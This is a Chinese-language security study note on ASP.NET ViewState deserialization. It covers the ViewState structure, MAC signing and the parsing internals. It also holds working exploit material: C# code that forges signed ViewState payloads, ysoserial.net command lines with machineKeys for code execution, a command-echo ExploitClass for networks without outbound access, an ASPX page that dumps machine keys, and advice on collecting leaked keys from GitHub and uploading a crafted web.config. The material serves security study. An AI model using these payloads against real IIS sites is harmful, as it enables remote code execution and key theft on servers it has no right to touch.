ViewState反序列化
前言:这篇笔记记录了相关ViewState反序列化以及ViewState在不出网的情况下如何利用
参考文章:https://www.anquanke.com/post/id/199921
参考文章:https://mp.weixin.qq.com/s/RlY5HL_ak4G8EdcXyevWDg
参考文章:https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
参考文章:https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
参考文章:https://devco.re/blog/2020/03/11/play-with-dotnet-viewstate-exploit-and-create-fileless-webshell/
什么是ViewState机制
ViewState机制是asp.net中对同一个Page的多次请求(PostBack)之间维持Page及控件状态的一种机制。在WebForm中每次请求完,Page对象都会被释放,这里就有一个问题就是对同一个Page的多次请求之间的状态信息,如何进行维护呢?
WebForm中每次请求都会存在客户端和服务器之间的一个交互。如果请求完成之后将一些信息传回到客户端,下次请求的时候客户端再将这些状态信息提交给服务器,服务器端对这些信息使用和处理,再将这些信息传回给客户端。这样是不是就可以对同一个Page的多次请求(PostBack)之间维持状态了?ViewState的设计目的就是为了将必要的信息持久化在页面中,这样通过ViewState在页面回传的过程中保存状态值。
这里说的PostBack是一种模式,该PostBack模式是在访问页面不是通过Server.Transfer进行重定向的,__VIEWSTATE等隐藏表单存在,这里默认直接访问页面即可满足上述条件。
这里再抛出一个小问题,就是ViewState和Cookie的区别是什么?
-
Cookie是存在于http请求中的,而ViewState仅仅存在于.net
-
Cookie不存在后端解析(只需要取值即可),而.net中的ViewState存在于后端解析(序列化和反序列化的操作)
-
Cookie是为了http无状态而产生的,ViewState是为了保存WebForm中服务端控件状态进行持久化而产生的
ViewState的构成
具体的序列化流程由 [System.Web]System.Web.UI.ObjectStateFormatter进行处理。其返回结果以FF01作为magic,后续数据是近似于Type-Value的格式。由于控件本身可能需要保存较为复杂的类型,ObjectStateFormatter通过二进制序列化方式对这种情况进行支持,其TypeCode为0x32,Value为带有7bit-encoded长度前缀的二进制序列化数据。
Test1.aspx
namespace TestViewState
{
[Serializable]
class Test : IObjectReference
{
Func<string, object> _dele;
string _parm;
public Test(Func<string, object> dele, string parm)
{
_dele = dele;
_parm = parm;
}
public Object GetRealObject(StreamingContext c)
{
return _dele(_parm);
}
}
public class Program
{
static object Deserialize(byte[] b)
{
using (MemoryStream mem = new MemoryStream(b))
{
mem.Position = 0;
BinaryFormatter bf = new BinaryFormatter();
return bf.Deserialize(mem);
}
}
static byte[] Serialize(object obj)
{
using (MemoryStream mem = new MemoryStream())
{
BinaryFormatter bf = new BinaryFormatter();
bf.Serialize(mem, obj);
return mem.ToArray();
}
}
static byte[] GetViewState()
{
Test t = new Test(new Func<string, object>(Process.Start), "notepad");
byte[] data = Serialize(t);
MemoryStream ms = new MemoryStream();
// 因为返回结果以FF01作为magic,所以这边会先写入0xff 0x01
ms.WriteByte(0xff);
ms.WriteByte(0x01);
// 指定ObjectStateFormatter进行序列化,特征为0x32
ms.WriteByte(0x32);
uint num = (uint)data.Length;
// Value为带有7bit-encoded长度前缀,所以最大长度为0x80
while (num >= 0x80)
{
ms.WriteByte((byte)(num | 0x80));
num = num >> 0x7;
}
ms.WriteByte((byte)num);
ms.Write(data, 0, data.Length);
return ms.ToArray();
}
static void Main(string[] args)
{
byte[] data = GetViewState();
Console.ReadKey();
}
}
在实际的WEB环境中,并不是像上面的ViewState生成过程一样简单,实际的传输中ObjectStateFormatter会使用MachineKey对信息进行加密或签名。
注意:这里提到的MachineKey就是关键生成密钥。
实际环境中传输的数据为__VIEWSTATE,__VIEWSTATE的生成过程如下所示
ViewState = serialize(我们控制传输的数据)+0xff+0x01+0x32+...
client_id = hash(当前请求路径)+hash(当前请求文件名)
MacKeyModifier = client_id + ViewStateUserKey(默认为空)
signed_data = new HMACSHA256(web.config里面的密钥).encode(ViewState+MacKeyModifier);
__VIEWSTATE = ViewState + signed_data
下面给出__VIEWSTATE生成的代码实现
Test2.aspx
namespace TestViewState
{
[Serializable]
class Test : IObjectReference
{
Func<string, object> _dele;
string _parm;
public Test(Func<string, object> dele, string parm)
{
_dele = dele;
_parm = parm;
}
public Object GetRealObject(StreamingContext c)
{
return _dele(_parm);
}
}
public class Program
{
static object Deserialize(byte[] b)
{
using (MemoryStream mem = new MemoryStream(b))
{
mem.Position = 0;
BinaryFormatter bf = new BinaryFormatter();
return bf.Deserialize(mem);
}
}
static byte[] Serialize(object obj)
{
using (MemoryStream mem = new MemoryStream())
{
BinaryFormatter bf = new BinaryFormatter();
bf.Serialize(mem, obj);
return mem.ToArray();
}
}
static byte[] GetViewState()
{
Test t = new Test(new Func<string, object>(Process.Start), "notepad");
byte[] data = Serialize(t);
MemoryStream ms = new MemoryStream();
// 因为返回结果以FF01作为magic,所以这边会先写入0xff 0x01
ms.WriteByte(0xff);
ms.WriteByte(0x01);
// 指定ObjectStateFormatter进行序列化,特征为0x32
ms.WriteByte(0x32);
uint num = (uint)data.Length;
// Value为带有7bit-encoded长度前缀,所以最大长度为0x80
while (num >= 0x80)
{
ms.WriteByte((byte)(num | 0x80));
num = num >> 0x7;
}
ms.WriteByte((byte)num);
ms.Write(data, 0, data.Length);
return ms.ToArray();
}
static void Main(string[] args)
{
byte[] data = GetViewState();
byte[] key = new byte[] { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf };
// clientId = hash(当前请求路径)+hash(当前请求文件名)
uint _clientstateid = (uint)(StringComparer.InvariantCultureIgnoreCase.GetHashCode("/") + StringComparer.InvariantCultureIgnoreCase.GetHashCode("index_aspx"));
// MacKeyModifier 作为Salt,由 ClientId 和 ViewStateUserKey 两部分拼接而成,而ViewStateUserKey默认为空,所以这边主要是ClientId
byte[] _mackey = new byte[4];
_mackey[0] = (byte)_clientstateid;
_mackey[1] = (byte)(_clientstateid >> 8);
_mackey[2] = (byte)(_clientstateid >> 16);
_mackey[3] = (byte)(_clientstateid >> 24);
// 接着再写入ViewState和MacKeyModifier -> __VIEWSTATE
MemoryStream ms = new MemoryStream();
ms.Write(data, 0, data.Length);
ms.Write(_mackey, 0, _mackey.Length);
byte[] hash = (new HMACSHA256(key)).ComputeHash(ms.ToArray());
ms = new MemoryStream();
ms.Write(data, 0, data.Length);
ms.Write(hash, 0, hash.Length);
Console.WriteLine("__VIEWSTATE={0}&__VIEWSTATEGENERATOR={1}", HttpUtility.UrlEncode(Convert.ToBase64String(ms.ToArray())), _clientstateid.ToString("X2"));
Console.ReadKey();
}
}
}
iis模拟ViewState反序列化漏洞
这里iis的应用池需要为4.0,如果高版本可能存在ActivitySurrogateSelectorTypeCheck导致正常复现
将上面的Test2.aspx编译的exe放入到iis目录的bin目录下,如下图所示
iis目录中创建一个index.aspx,内容随意都可以
接着将上面Test2.aspx生成的ViewState内容作为参数进行访问,如下图所示,可以看到成功进行ViewState反序列化
手动环境搭建
这边稍微的记录下,可以跳过
这边通过vs来搭建一个web的环境,如下图所示
接着创建一个login.aspx的web窗体,代码如下所示
注意:这边通过指定runat="server"
就会使用进行让控件维持视图状态
<script runat="server">
Sub submit(sender As Object, e As EventArgs)
lbl1.Text="Hello " & txt1.Text & "!"
End Sub
</script>
<html>
<body>
<form runat="server">
Your name: <asp:TextBox id="txt1" runat="server" />
<asp:Button OnClick="submit" Text="Submit" runat="server" />
<p><asp:Label id="lbl1" runat="server" /></p>
</form>
</body>
</html>
接着将其部署到iis的环境中即可,如下所示
如果访问的时候显示不可访问的话,可以给当前web的目录给上everyone的权限,我这边就遇到了,简单的记录下,设置的结果如下所示
黑盒情况下如何枚举密钥来利用?
这边分享下yuanhai师傅在github上分享的关于web.config中的viewstate密钥字典
Github地址:https://github.com/yuanhaiGreg/Fuzz-Dict/blob/master/ViewState.txt
其他更多的大家可以在github或者其他搜索引擎中搜索web.config来进行搜集密钥作为字典来使用
Github搜索语句:https://github.com/search?p=99&q=validationKey%3D+extension%3Aconfig&type=Code
通过上面的学习已经知道了一个__viewstate的组成结构,那么我们如果通过枚举密钥来验证伪造的viewstate的正确性呢?
首先需要两个已知条件,第一个是validationKey,第二个是对应的签名算法validation
这里可能会有一个疑问就是为什么decryptionKey和decryption没有起作用呢?这边简单的概述下,当前我们的web.config配置文件是如下所示
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<machineKey validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" decryptionKey="E9D2490BD0075B51D1BA5288514514AF" validation="SHA1" decryption="3DES" />
</system.web>
</configuration>
从上面的内容中看目前是没有加上<pages viewStateEncryptionMode="Always"></pages>
的配置项,以下是其他相关的配置项,这边也可以了解下
enableViewState:用于设置是否开启viewState
enableViewStateMac:用于设置是否开启ViewState Mac (校验)功能。4.5.2之前,该选项为false,可以禁止Mac校验功能。但是在4.5.2之后,强制开启ViewState Mac 校验功能.
viewStateEncryptionMode:用于设置是否开启ViewState Encrypt (加密)功能。该选项的值有三种选择:Always、Auto、Never。
-
Always表示ViewState始终加密;
-
Auto表示如果控件通过调用 RegisterRequiresViewStateEncryption() 方法请求加密,则视图状态信息将被加密,这是默认值;
-
Never表示即使控件请求了视图状态信息,也永远不会对其进行加密。
下面的代码是在ObjectStateFormatter.cs中,这里可以看到在生成ViewState的时候,这边因为没有设置viewStateEncryptionMode,所以默认的话走的就是MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length);操作
继续跟进去可以看到在GetEncodedData只有当签名算法是3DES或者是AES的时候才会需要用到decryptionKey和decryption,而当前我们生成validation用的是SHA1,所以这边的话就不需要用到decryptionKey和decryption
大家感兴趣的话还可以再深入看下代码,我这边的话引用如下的结论即可
-
如果签名算法不是AES/3DES,无论是否开启加密功能,我们只需要根据其签名算法和密钥,生成一个签名的ViewState。由于发送该ViewState的时候没有使用"__VIEWSTATEENCRYPTED" 字段,导致ASP.NET 在解析时直接进入GetDecodedData() 进行签名校验,而不再执行解密步骤。
-
如果签名算法是 AES/3DES,无论是否开启加密功能,我们只需按照先前所讲,对数据先签名一次,再加密一次,再签名一次。 然后发送给服务端,ASP.NET 进入 GetDecodedData(),然后先进 EncryptOrDecryptData() 进行一次校验和解密,出来后再进行一次校验。
继续回到黑盒情况下如何枚举密钥来利用呢?首先我们在当前上述的web.config的情况下,想要通过枚举密钥的话需要两个点,一个是已知的密钥,另外一个就是validation
Login.aspx
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Login.aspx.cs" Inherits="WebApplication3.Login" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title></title>
</head>
<body>
<form id="form1" runat="server">
<asp:TextBox id="TextArea1" TextMode="multiline" Columns="50" Rows="5" runat="server" />
<asp:Button ID="Button1" runat="server" OnClick="Button1_Click" Text="GO" class="btn"/><br />
<asp:Label ID="Label1" runat="server"></asp:Label>
</form>
</body>
</html>
Login.aspx.cs
namespace WebApplication3
{
public partial class Login : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
}
protected override void OnInit(EventArgs e)
{
base.OnInit(e);
}
protected void Button1_Click(object sender, EventArgs e)
{
//Label1.Text = TextArea1.Text.ToString();
}
}
}
这边访问index.aspx可以得到默认的viewstate的值是<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTQ1OTUyNDAxM2RktCHqTY+Xscg0BjLdwVpa6zPldak=" />
这里将/wEPDwUKLTQ1OTUyNDAxM2RktCHqTY+Xscg0BjLdwVpa6zPldak=
进行base64解密,然后截去最后面的20个字节,得到的就是要传输的数据+MacKeyModifier
这边为什么截去末尾的20个字节呢?因为上述配置的web.config中的签名算法validation是SHA1,SHA1生成的大小为20个字节
接着我们开始枚举,可以看到当前的签名密钥是CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
用CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
替换上面生成的ViewState的密钥
生成的结果如下所示,__viewstate的url解码结果和上述默认的Login.aspx的__viewstate值是一样的,此时也就说明了这个validationKey密钥和validation签名算法是正确的
ViewState在ASP.net中的解析流程
这边的话主要看三个部分,分别是InitRecursive,LoadAllState和SaveAllState
InitRecursive
如下图所示,整体是下往上的解析流程
这边直接来看到ProcessRequestMain解析过程,因为ViewState解析的流程是在这边进行
这边先给InitRecursive下个断点
然后访问login.aspx,可以看到成功断点InitRecursive到,如下所示
首先跟到InitRecursive中,可以发现先会获取要初始化的control的数量,然后遍历这些control来调用自身的InitRecursive方法,具体没细看,个人理解一个控件同样也是各个小控件组成
LoadAllState
接着的话就是来到LoadAllState方法中,将客户端提交的__VIEWSTATE反序列化为对象然后填充到各个控件中
首先会先进到LoadPageStateFromPersistenceMedium方法中进行加载持续化的状态数据,其实也就是获取__VIEWSTATE
接着跟到load方法中
本次请求的__VIEWSTATE的值为6GuRHeDAzfGa7ubz73OcFLFqQWxyZScO8aBkCGmvUWhbY8f9/kYgDxz2b9g1wUG9BDiFkSP3x8judq8jQ/nKeb3NX+imgjYowycV+O1MHmIgRrQdfWGk+4z08vx+sVW6CuCBYlJRR47A/DhLXMfSXQ==
这边可以看到__VIEWSTATE同样也是上面这个值
这边直接抓重点,这里可以看到对接受到的__VIEWSTATE进行反序列化操作
这边跟进可以看到,将字符串进行Base64解码为字节流,是否解密需要看this._page.ContainsEncryptedViewState || this._page.EnableViewStateMac
,默认this._page.EnableViewStateMac字段值true
这边先进行cryptoService解密出来的字节数组,然后再通过ObjectStateFormatter对该字节数组进行反序列化,所以这里也说明为什么ViewState跟ObjectStateFormatter反序列化有关
最后封装到Pair对象中进行返回
接下来主要LoadControlStateInternal和LoadViewStateRecursive这两个函数
LoadControlStateInternal这边的话没跟进去就没分析了,大概看了下LoadViewStateRecursive,给出关键的部分,可以看到就会解析__VIEWSTATE
SaveAllState
SaveAllState的函数作用顾名思义就是将处理完的控件的数据重新填充到__VIEWSTATE中,最后渲染将数据渲染到界面上
漏洞复现
从上面的分析中可以看出默认的cryptoService对象会先对ViewState解密成字节数组,然后对该字节数组使用ObjectStateFormatter进行反序列化操作,ViewState采取了加密和签名的安全措施。但是如果加密密钥泄露,依然可以伪装加密的数据进行攻击。
enableViewState:用于设置是否开启viewState
enableViewStateMac:用于设置是否开启ViewState Mac (校验)功能。4.5.2之前,该选项为false,可以禁止Mac校验功能。但是在4.5.2之后,强制开启ViewState Mac 校验功能.
viewStateEncryptionMode:用于设置是否开启ViewState Encrypt (加密)功能。该选项的值有三种选择:Always、Auto、Never。
-
Always表示ViewState始终加密;
-
Auto表示如果控件通过调用 RegisterRequiresViewStateEncryption() 方法请求加密,则视图状态信息将被加密,这是默认值;
-
Never表示即使控件请求了视图状态信息,也永远不会对其进行加密。
那么什么影响了cryptoService对象的加密和解密呢?
validationKey和decryptionKey分别是校验和加密所用的密钥,validation和decryption则是校验和加密所使用的算法(可以省略,采用默认算法)。校验算法包括: SHA1、 MD5、 HMACSHA256、 HMACSHA384、 HMACSHA512。加密算法包括:DES、3DES、AES。 由于web.config保存在服务端上,在不泄露machineKey的情况下,保证了ViewState的安全性。
上面关于validationKey,decryptionKey和validation,decryption能够在web.config中进行配置。
这边可以借助如下脚本生成一段MachineKey,代码如下所示
function Generate-MachineKey {
[CmdletBinding()]
param (
[ValidateSet("AES", "DES", "3DES")]
[string]$decryptionAlgorithm = 'AES',
[ValidateSet("MD5", "SHA1", "HMACSHA256", "HMACSHA384", "HMACSHA512")]
[string]$validationAlgorithm = 'HMACSHA256'
)
process {
function BinaryToHex {
[CmdLetBinding()]
param($bytes)
process {
$builder = new-object System.Text.StringBuilder
foreach ($b in $bytes) {
$builder = $builder.AppendFormat([System.Globalization.CultureInfo]::InvariantCulture, "{0:X2}", $b)
}
$builder
}
}
switch ($decryptionAlgorithm) {
"AES" { $decryptionObject = new-object System.Security.Cryptography.AesCryptoServiceProvider }
"DES" { $decryptionObject = new-object System.Security.Cryptography.DESCryptoServiceProvider }
"3DES" { $decryptionObject = new-object System.Security.Cryptography.TripleDESCryptoServiceProvider }
}
$decryptionObject.GenerateKey()
$decryptionKey = BinaryToHex($decryptionObject.Key)
$decryptionObject.Dispose()
switch ($validationAlgorithm) {
"MD5" { $validationObject = new-object System.Security.Cryptography.HMACMD5 }
"SHA1" { $validationObject = new-object System.Security.Cryptography.HMACSHA1 }
"HMACSHA256" { $validationObject = new-object System.Security.Cryptography.HMACSHA256 }
"HMACSHA385" { $validationObject = new-object System.Security.Cryptography.HMACSHA384 }
"HMACSHA512" { $validationObject = new-object System.Security.Cryptography.HMACSHA512 }
}
$validationKey = BinaryToHex($validationObject.Key)
$validationObject.Dispose()
[string]::Format([System.Globalization.CultureInfo]::InvariantCulture,
"<machineKey decryption=`"{0}`" decryptionKey=`"{1}`" validation=`"{2}`" validationKey=`"{3}`" />",
$decryptionAlgorithm.ToUpperInvariant(), $decryptionKey,
$validationAlgorithm.ToUpperInvariant(), $validationKey)
}
}
web.config配置如下所示:
-
验证密钥validationKey配置为B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3
-
解密密钥decryptionKey配置为EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39
-
验证算法validation配置为SHA1
-
解密算法decryption配置为AES
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<system.web>
<compilation debug="true" targetFramework="4.5.2" />
<httpRuntime targetFramework="4.5.2" />
<machineKey validationKey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3"
decryptionKey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" validation="SHA1" decryption="AES" />
</system.web>
<system.codedom>
<compilers>
<compiler language="c#;cs;csharp" extension=".cs" type="Microsoft.CodeDom.Providers.DotNetCompilerPlatform.CSharpCodeProvider, Microsoft.CodeDom.Providers.DotNetCompilerPlatform, Version=2.0.1.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" warningLevel="4" compilerOptions="/langversion:6 /nowarn:1659;1699;1701" />
<compiler language="vb;vbs;visualbasic;vbscript" extension=".vb" type="Microsoft.CodeDom.Providers.DotNetCompilerPlatform.VBCodeProvider, Microsoft.CodeDom.Providers.DotNetCompilerPlatform, Version=2.0.1.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" warningLevel="4" compilerOptions="/langversion:14 /nowarn:41008 /define:_MYTYPE=\"Web\" /optionInfer+" />
</compilers>
</system.codedom>
</configuration>
这边通过ysoserial.net来进行生成,生成命令如下所示,这里在执行的命令是echo 123 > c:\windows\temp\test.txt
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/login.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg="SHA1" --validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3"
可以看到对应的c:\windows\temp\
目录下成功生成test.txt,结果如下所示
如果遇到了下面这种情况的话,大概率是没有指定对应的apppath和path
不出网情况下的利用
微软曾因ActivitySurrogateSelector利用链的出现而加了一些patch,所以先打一次ActivitySurrogateDisableTypeCheck利用链来解决patch的问题
ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck -c "ignore" --path="/login.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg="SHA1" --validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3" --isdebug
然后再打ActivitySurrogateSelectorFromFile利用链进行回显,回显代码ExploitClass.cs
ExploitClass.cs
class E
{
public E()
{
System.Web.HttpContext context = System.Web.HttpContext.Current;
context.Server.ClearError();
context.Response.Clear();
try
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.FileName = "cmd.exe";
string cmd = context.Request.Form["cmd"];
process.StartInfo.Arguments = "/c " + cmd;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.UseShellExecute = false;
process.Start();
string output = process.StandardOutput.ReadToEnd();
context.Response.Write(output);
} catch (System.Exception) {}
context.Response.Flush();
context.Response.End();
}
}
ysoserial生成,命令如下
ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./System.dll;./System.Web.dll" --path="/login.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg="SHA1" --validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3" --isdebug
实战利用
获取相关的viewstate信息
这里可以通过如下代码来获取相关viewstate的信息,其中包含validationKey和ValidationAlg ,decryptionKey和DecryptionAlg
什么情况下会遇到?这里举个场景比如一个环境中无法上传脚本文件,但是web.config能够上传的情况下此时就可以上传指定的web.config来制造viewstate反序列化来进行利用
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
public void GetAutoMachineKeys()
{
var netVersion = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\NETFramework Setup\\NDP\\v4\\Full\\", "Version",Microsoft.Win32.RegistryValueKind.ExpandString);
if(netVersion!=null)
Response.Write("<b>NetVersion: </b>" + netVersion);
Response.Write("<br/><hr/>");
//==========================================================================
var systemWebAsm = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var machineKeySectionType = systemWebAsm.GetType("System.Web.Configuration.MachineKeySection");
var getApplicationConfigMethod = machineKeySectionType.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var config = (System.Web.Configuration.MachineKeySection)getApplicationConfigMethod.Invoke(null, new object[0]);
Response.Write("<b>ValidationKey:</b> "+config.ValidationKey);
Response.Write("<br/>");
Response.Write("<b>ValidationAlg:</b> "+ config.Validation);
Response.Write("<br/>");
Response.Write("<b>DecryptionKey:</b> "+ config.DecryptionKey);
Response.Write("<br/>");
Response.Write("<b>DecryptionAlg:</b> "+ config.Decryption);
Response.Write("<br/>");
Response.Write("<b>CompatibilityMode:</b> "+config.CompatibilityMode);
Response.Write("<br/><hr/>");
//==========================================================================
var typeMachineKeyMasterKeyProvider =
systemWebAsm.GetType("System.Web.Security.Cryptography.MachineKeyMasterKeyProvider");
var instance = typeMachineKeyMasterKeyProvider.Assembly.CreateInstance(typeMachineKeyMasterKeyProvider.FullName, false, System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic, null, new object[] { config, null, null, null, null }, null, null);
var validationKey = typeMachineKeyMasterKeyProvider.GetMethod("GetValidationKey").Invoke(instance, new object[0]);
byte[] _validationKey = (byte[])validationKey.GetType().GetMethod("GetKeyMaterial").Invoke(validationKey, new object[0]);
var encryptionKey = typeMachineKeyMasterKeyProvider.GetMethod("GetEncryptionKey").Invoke(instance, new object[0]);
byte[] _decryptionKey = (byte[])validationKey.GetType().GetMethod("GetKeyMaterial").Invoke(encryptionKey, new object[0]);
//==========================================================================
Response.Write("<br/><b>ASP.NET 4.0 and below:</b><br/>");
byte[] autogenKeys = (byte[])typeof(HttpRuntime).GetField("s_autogenKeys",
System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static).GetValue(null);
int validationKeySize = 64;
int decryptionKeySize = 24;
byte[] validationKeyAuto = new byte[validationKeySize];
byte[] decryptionKeyAuto = new byte[decryptionKeySize];
System.Buffer.BlockCopy(autogenKeys, 0, validationKeyAuto, 0,
validationKeySize);
System.Buffer.BlockCopy(autogenKeys, validationKeySize,
decryptionKeyAuto, 0, decryptionKeySize);
string appName = HttpRuntime.AppDomainAppVirtualPath;
string appId = HttpRuntime.AppDomainAppId;
Response.Write("<br/>");
Response.Write("<b>appName:</b> "+appName);
Response.Write("<br/>");
Response.Write("<b>appId:</b> "+appId);
Response.Write("<br/>");
Response.Write("<b>initial validationKey (not useful for direct use):</b> ");
Response.Write(BitConverter.ToString(validationKeyAuto).Replace("-",string.Empty));
Response.Write("<br/>");
Response.Write("<b>initial decryptionKey (not useful for direct use):</b> ");
Response.Write(BitConverter.ToString(decryptionKeyAuto).Replace("-",
string.Empty));
Response.Write("<br/>");
byte[] _validationKeyAutoAppSpecific = validationKeyAuto.ToArray();
int dwCode3 =
StringComparer.InvariantCultureIgnoreCase.GetHashCode(appName);
_validationKeyAutoAppSpecific[0] = (byte)(dwCode3 & 0xff);
_validationKeyAutoAppSpecific[1] = (byte)((dwCode3 & 0xff00) >> 8);
_validationKeyAutoAppSpecific[2] = (byte)((dwCode3 & 0xff0000) >> 16);
_validationKeyAutoAppSpecific[3] = (byte)((dwCode3 & 0xff000000) >> 24);
Response.Write("<b>App specific ValidationKey (when uses IsolateApps):</b> ");
Response.Write(BitConverter.ToString(_validationKeyAutoAppSpecific).Replace("-",
string.Empty));
Response.Write("<br/>");
byte[] _validationKeyAutoAppIdSpecific = validationKeyAuto.ToArray();
int dwCode4 =StringComparer.InvariantCultureIgnoreCase.GetHashCode(appId);
_validationKeyAutoAppIdSpecific[4] = (byte)(dwCode4 & 0xff);
_validationKeyAutoAppIdSpecific[5] = (byte)((dwCode4 & 0xff00) >> 8);
_validationKeyAutoAppIdSpecific[6] = (byte)((dwCode4 & 0xff0000) >> 16);
_validationKeyAutoAppIdSpecific[7] = (byte)((dwCode4 & 0xff000000) >>24);
Response.Write("<b>AppId Auto specific ValidationKey (when uses IsolateByAppId):</b> ");
Response.Write(BitConverter.ToString(_validationKeyAutoAppIdSpecific).Replace("-", string.Empty));
Response.Write("<br/>");
byte[] _decryptionKeyAutoAutoAppSpecific = decryptionKeyAuto.ToArray();
_decryptionKeyAutoAutoAppSpecific[0] = (byte)(dwCode3 & 0xff);
_decryptionKeyAutoAutoAppSpecific[1] = (byte)((dwCode3 & 0xff00) >> 8);
_decryptionKeyAutoAutoAppSpecific[2] = (byte)((dwCode3 & 0xff0000) >>16);
_decryptionKeyAutoAutoAppSpecific[3] = (byte)((dwCode3 & 0xff000000) >>24);
Response.Write("<b>App specific DecryptionKey (when uses IsolateApps):</b> ");
Response.Write(BitConverter.ToString(_decryptionKeyAutoAutoAppSpecific).Replace("-", string.Empty));
Response.Write("<br/>");
byte[] _decryptionKeyAutoAutoAppIdSpecific =
decryptionKeyAuto.ToArray();
_decryptionKeyAutoAutoAppIdSpecific[4] = (byte)(dwCode4 & 0xff);
_decryptionKeyAutoAutoAppIdSpecific[5] = (byte)((dwCode4 & 0xff00) >>8);
_decryptionKeyAutoAutoAppIdSpecific[6] = (byte)((dwCode4 & 0xff0000) >>16);
_decryptionKeyAutoAutoAppIdSpecific[7] = (byte)((dwCode4 & 0xff000000)>> 24);
Response.Write("<b>AppId Auto specific DecryptionKey (when uses IsolateByAppId):</b> ");
Response.Write(BitConverter.ToString(_decryptionKeyAutoAutoAppIdSpecific).Replace("-", string.Empty));
Response.Write("<br/><hr/>");
//==========================================================================
Response.Write("<br/><b>ASP.NET 4.5 and above:</b><br/>");
Response.Write("<br/>");
Response.Write("<b>validationAlg:</b> "+config.Validation);
Response.Write("<br/>");
Response.Write("<b>validationKey:</b>"+BitConverter.ToString(_validationKey).Replace("-", string.Empty));
Response.Write("<br/>");
Response.Write("<b>decryptionAlg:</b> "+config.Decryption);
Response.Write("<br/>");
Response.Write("<b>decryptionKey:</b>"+BitConverter.ToString(_decryptionKey).Replace("-", string.Empty));
Response.Write("<br/><hr/>");
}
public void Page_load()
{
Response.ContentEncoding = System.Text.Encoding.Default;
Response.Write("<p style='color:#ff0000;text-align:center;'>获取 .NET 框架的机器密钥</p>");
Response.Write("<p>1. 本程序仅供实验学习 ASP.NET ViewState,请勿违法滥用!</p>");
Response.Write("<p>2. 适用场景:获取 .NET 框架权限后均适用!</p>");
Response.Write("<p>3. 公众号:RowTeam</p>");
Response.Write("<br/><hr/>");
GetAutoMachineKeys();
}
</script>
获取到的结果如下图所示
哥斯拉插件
如果签名算法是AES/3DES的情况
参考文章:https://github.com/pwntester/ysoserial.net/issues/122
- 如果签名算法是AES/3DES,无论是否开启加密功能,我们只需按照先前所讲,对数据先签名一次,再加密一次,再签名一次。然后发送给服务端,ASP.NET进入GetDecodedData(),然后先进 EncryptOrDecryptData() 进行一次校验和解密,出来后再进行一次校验。
漏洞探测
在.NET Framework 4.5版本之前,在禁用MAC验证功能时,__VIEWSTATE参数是可以加密的。需要注意的是,大多数扫描器不会尝试发送未经加密的ViewState参数来识别此漏洞。因此需要进行手动测试,以检查在加密__VIEWSTATE参数时是否禁用了MAC验证。可以通过在__VIEWSTATE参数中发送一个简单的随机Base64字符串来检查这一点。
这里比如我们可以发送一个 https://xxx/Default.aspx?__VIEWSTATE=AAAAAA